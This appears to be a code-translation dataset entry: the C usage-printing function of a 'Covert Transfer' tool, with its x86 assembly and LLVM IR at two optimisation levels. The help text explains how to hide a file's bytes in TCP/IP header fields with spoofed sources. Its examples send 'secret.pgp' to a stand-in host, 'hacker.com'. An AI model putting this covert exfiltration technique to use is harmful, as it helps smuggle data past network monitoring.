#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ printf(char *, ...);
void print_usage(char *argv[]) {
  printf("Covert Transfer Usage: \n%s -dest dest_ip -dest_port port -file "
         "filename [encode type]\n\n",
         argv[0]);
  printf("-dest [dest_ip]		- Receiver to send data to. \n");
  printf("-dest_port [port]	- IP port you want data to go to. [DEFAULT "
         "PORT == 80]\n");
  printf(
      "-source [source_ip]	- Host where you want to data to originate "
      "from.\n"
      "			  (Source can include a bounce server address).\n");
  printf("-src_port [source_port]	- IP source port you want data to "
         "appear from. \n"
         "			  (Randomly Set by default)\n");
  printf(
      "-file [filename]	- Name of the file to encode and transfer.\n\n");
  printf("[Encode Type]: Following are the optional encoding types: \n");
  printf("	-urg_ptr	- Encode data a byte at a time in the TCP "
         "packet Urgent Pointed field.\n");
  printf("	-seq		- Encode data a byte at a time in the TCP "
         "packet sequence number field. \n");
  printf("	-ack		- Encode data a byte at a time in the TCP "
         "packet acknowledge field. \n");
  printf("	-id		- Encode data a byte at a time in the IP "
         "packet identification field. \n");
  printf("	-tos	- Encode data a byte at a time in the IP packet's Type "
         "of Service field.\n\n");
  printf("Examples\n==========================================================="
         "==========================================================\n\n");
  printf("Example 1: \n %s -dest hacker.com -dest_port 80 -file secret.pgp "
         "-frag_off \n"
         " %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \n\n",
         argv[0], argv[0]);
  printf(" The example above send the secret.pgp file a byte at time to "
         "hacker.com on port 80 either using\n"
         " IP headers fragment offset field or TCP headers urgent pointer "
         "field.\n\n");
  printf("Example 2: \n %s -source foo.bar.com -src_port 1234  -dest "
         "hacker.com -dest_port 80 -file secret.pgp -frag_off \n"
         " %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port "
         "80 -file secret.pgp -urg_ptr \n\n",
         argv[0], argv[0]);
  printf(" The example above send the secret.pgp file a byte at time to "
         "hacker.com on \n"
         " port 80 from foo.bar.com either using IP headers fragment offset "
         "field or \n"
         " TCP headers urgent pointer field.\n\n");
}


x86 assembly (clang, -O0):
<print_usage>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%rsi
lea    0xed6(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xf20(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xf41(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xf7d(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xfe8(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1042(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1072(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x10a0(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x10e4(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1127(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1166(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x11a6(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x11e9(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x8(%rbp),%rax
mov    (%rax),%rsi
mov    -0x8(%rbp),%rax
mov    (%rax),%rdx
lea    0x124e(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x12cb(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x8(%rbp),%rax
mov    (%rax),%rsi
mov    -0x8(%rbp),%rax
mov    (%rax),%rdx
lea    0x1359(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x141d(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<print_usage>:
push   %rbx
mov    %rdi,%rbx
mov    (%rdi),%rsi
lea    0xed2(%rip),%rdi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x1079(%rip),%rdi
call   1030 <puts@plt>
lea    0x109b(%rip),%rdi
call   1030 <puts@plt>
lea    0x10d8(%rip),%rdi
call   1030 <puts@plt>
lea    0x1144(%rip),%rdi
call   1030 <puts@plt>
lea    0x119f(%rip),%rdi
call   1030 <puts@plt>
lea    0x11d0(%rip),%rdi
call   1030 <puts@plt>
lea    0x11ff(%rip),%rdi
call   1030 <puts@plt>
lea    0x1244(%rip),%rdi
call   1030 <puts@plt>
lea    0x1288(%rip),%rdi
call   1030 <puts@plt>
lea    0x12c8(%rip),%rdi
call   1030 <puts@plt>
lea    0x1309(%rip),%rdi
call   1030 <puts@plt>
lea    0x134d(%rip),%rdi
call   1030 <puts@plt>
mov    (%rbx),%rdx
lea    0xe89(%rip),%rdi
mov    %rdx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x13ad(%rip),%rdi
call   1030 <puts@plt>
mov    (%rbx),%rdx
lea    0xef4(%rip),%rdi
mov    %rdx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x1436(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [88 x i8] c"Covert Transfer Usage: \0A%s -dest dest_ip -dest_port port -file filename [encode type]\0A\0A\00"
@.str.1 = [47 x i8] c"-dest [dest_ip]\09\09- Receiver to send data to. \0A\00"
@.str.2 = [74 x i8] c"-dest_port [port]\09- IP port you want data to go to. [DEFAULT PORT == 80]\0A\00"
@.str.3 = [121 x i8] c"-source [source_ip]\09- Host where you want to data to originate from.\0A\09\09\09 (Source can include a bounce server address).\0A\00"
@.str.4 = [104 x i8] c"-src_port [source_port]\09- IP source port you want data to appear from. \0A\09\09\09 (Randomly Set by default)\0A\00"
@.str.5 = [62 x i8] c"-file [filename]\09- Name of the file to encode and transfer.\0A\0A\00"
@.str.6 = [60 x i8] c"[Encode Type]: Following are the optional encoding types: \0A\00"
@.str.7 = [82 x i8] c"\09-urg_ptr\09- Encode data a byte at a time in the TCP packet Urgent Pointed field.\0A\00"
@.str.8 = [81 x i8] c"\09-seq\09\09- Encode data a byte at a time in the TCP packet sequence number field. \0A\00"
@.str.9 = [77 x i8] c"\09-ack\09\09- Encode data a byte at a time in the TCP packet acknowledge field. \0A\00"
@.str.10 = [78 x i8] c"\09-id\09\09- Encode data a byte at a time in the IP packet identification field. \0A\00"
@.str.11 = [81 x i8] c"\09-tos\09- Encode data a byte at a time in the IP packet's Type of Service field.\0A\0A\00"
@.str.12 = [129 x i8] c"Examples\0A=====================================================================================================================\0A\0A\00"
@.str.13 = [139 x i8] c"Example 1: \0A %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \0A %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \0A\0A\00"
@.str.14 = [170 x i8] c" The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using\0A IP headers fragment offset field or TCP headers urgent pointer field.\0A\0A\00"
@.str.15 = [210 x i8] c"Example 2: \0A %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \0A %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \0A\0A\00"
@.str.16 = [190 x i8] c" The example above send the secret.pgp file a byte at time to hacker.com on \0A port 80 from foo.bar.com either using IP headers fragment offset field or \0A TCP headers urgent pointer field.\0A\0A\00"
define void @print_usage(i8** %0) {
%2 = alloca i8**
store i8** %0, i8*** %2
%3 = load i8**, i8*** %2
%4 = getelementptr inbounds i8*, i8** %3, i64 0
%5 = load i8*, i8** %4
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([88 x i8], [88 x i8]* @.str, i64 0, i64 0), i8* %5)
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([47 x i8], [47 x i8]* @.str.1, i64 0, i64 0))
%8 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([74 x i8], [74 x i8]* @.str.2, i64 0, i64 0))
%9 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([121 x i8], [121 x i8]* @.str.3, i64 0, i64 0))
%10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([104 x i8], [104 x i8]* @.str.4, i64 0, i64 0))
%11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([62 x i8], [62 x i8]* @.str.5, i64 0, i64 0))
%12 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([60 x i8], [60 x i8]* @.str.6, i64 0, i64 0))
%13 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([82 x i8], [82 x i8]* @.str.7, i64 0, i64 0))
%14 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([81 x i8], [81 x i8]* @.str.8, i64 0, i64 0))
%15 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([77 x i8], [77 x i8]* @.str.9, i64 0, i64 0))
%16 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([78 x i8], [78 x i8]* @.str.10, i64 0, i64 0))
%17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([81 x i8], [81 x i8]* @.str.11, i64 0, i64 0))
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.12, i64 0, i64 0))
%19 = load i8**, i8*** %2
%20 = getelementptr inbounds i8*, i8** %19, i64 0
%21 = load i8*, i8** %20
%22 = load i8**, i8*** %2
%23 = getelementptr inbounds i8*, i8** %22, i64 0
%24 = load i8*, i8** %23
%25 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([139 x i8], [139 x i8]* @.str.13, i64 0, i64 0), i8* %21, i8* %24)
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([170 x i8], [170 x i8]* @.str.14, i64 0, i64 0))
%27 = load i8**, i8*** %2
%28 = getelementptr inbounds i8*, i8** %27, i64 0
%29 = load i8*, i8** %28
%30 = load i8**, i8*** %2
%31 = getelementptr inbounds i8*, i8** %30, i64 0
%32 = load i8*, i8** %31
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([210 x i8], [210 x i8]* @.str.15, i64 0, i64 0), i8* %29, i8* %32)
%34 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([190 x i8], [190 x i8]* @.str.16, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str = [88 x i8] c"Covert Transfer Usage: \0A%s -dest dest_ip -dest_port port -file filename [encode type]\0A\0A\00"
@.str.13 = [139 x i8] c"Example 1: \0A %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \0A %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \0A\0A\00"
@.str.15 = [210 x i8] c"Example 2: \0A %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \0A %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \0A\0A\00"
@str = [46 x i8] c"-dest [dest_ip]\09\09- Receiver to send data to. \00"
@str.17 = [73 x i8] c"-dest_port [port]\09- IP port you want data to go to. [DEFAULT PORT == 80]\00"
@str.18 = [120 x i8] c"-source [source_ip]\09- Host where you want to data to originate from.\0A\09\09\09 (Source can include a bounce server address).\00"
@str.19 = [103 x i8] c"-src_port [source_port]\09- IP source port you want data to appear from. \0A\09\09\09 (Randomly Set by default)\00"
@str.20 = [61 x i8] c"-file [filename]\09- Name of the file to encode and transfer.\0A\00"
@str.21 = [59 x i8] c"[Encode Type]: Following are the optional encoding types: \00"
@str.22 = [81 x i8] c"\09-urg_ptr\09- Encode data a byte at a time in the TCP packet Urgent Pointed field.\00"
@str.23 = [80 x i8] c"\09-seq\09\09- Encode data a byte at a time in the TCP packet sequence number field. \00"
@str.24 = [76 x i8] c"\09-ack\09\09- Encode data a byte at a time in the TCP packet acknowledge field. \00"
@str.25 = [77 x i8] c"\09-id\09\09- Encode data a byte at a time in the IP packet identification field. \00"
@str.26 = [80 x i8] c"\09-tos\09- Encode data a byte at a time in the IP packet's Type of Service field.\0A\00"
@str.27 = [128 x i8] c"Examples\0A=====================================================================================================================\0A\00"
@str.28 = [169 x i8] c" The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using\0A IP headers fragment offset field or TCP headers urgent pointer field.\0A\00"
@str.29 = [189 x i8] c" The example above send the secret.pgp file a byte at time to hacker.com on \0A port 80 from foo.bar.com either using IP headers fragment offset field or \0A TCP headers urgent pointer field.\0A\00"
define void @print_usage(i8** nocapture %0) {
%2 = load i8*, i8** %0
%3 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([88 x i8], [88 x i8]* @.str, i64 0, i64 0), i8* %2)
%4 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([46 x i8], [46 x i8]* @str, i64 0, i64 0))
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([73 x i8], [73 x i8]* @str.17, i64 0, i64 0))
%6 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([120 x i8], [120 x i8]* @str.18, i64 0, i64 0))
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([103 x i8], [103 x i8]* @str.19, i64 0, i64 0))
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([61 x i8], [61 x i8]* @str.20, i64 0, i64 0))
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([59 x i8], [59 x i8]* @str.21, i64 0, i64 0))
%10 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([81 x i8], [81 x i8]* @str.22, i64 0, i64 0))
%11 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([80 x i8], [80 x i8]* @str.23, i64 0, i64 0))
%12 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([76 x i8], [76 x i8]* @str.24, i64 0, i64 0))
%13 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([77 x i8], [77 x i8]* @str.25, i64 0, i64 0))
%14 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([80 x i8], [80 x i8]* @str.26, i64 0, i64 0))
%15 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([128 x i8], [128 x i8]* @str.27, i64 0, i64 0))
%16 = load i8*, i8** %0
%17 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([139 x i8], [139 x i8]* @.str.13, i64 0, i64 0), i8* %16, i8* %16)
%18 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([169 x i8], [169 x i8]* @str.28, i64 0, i64 0))
%19 = load i8*, i8** %0
%20 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([210 x i8], [210 x i8]* @.str.15, i64 0, i64 0), i8* %19, i8* %19)
%21 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([189 x i8], [189 x i8]* @str.29, i64 0, i64 0))
ret void
}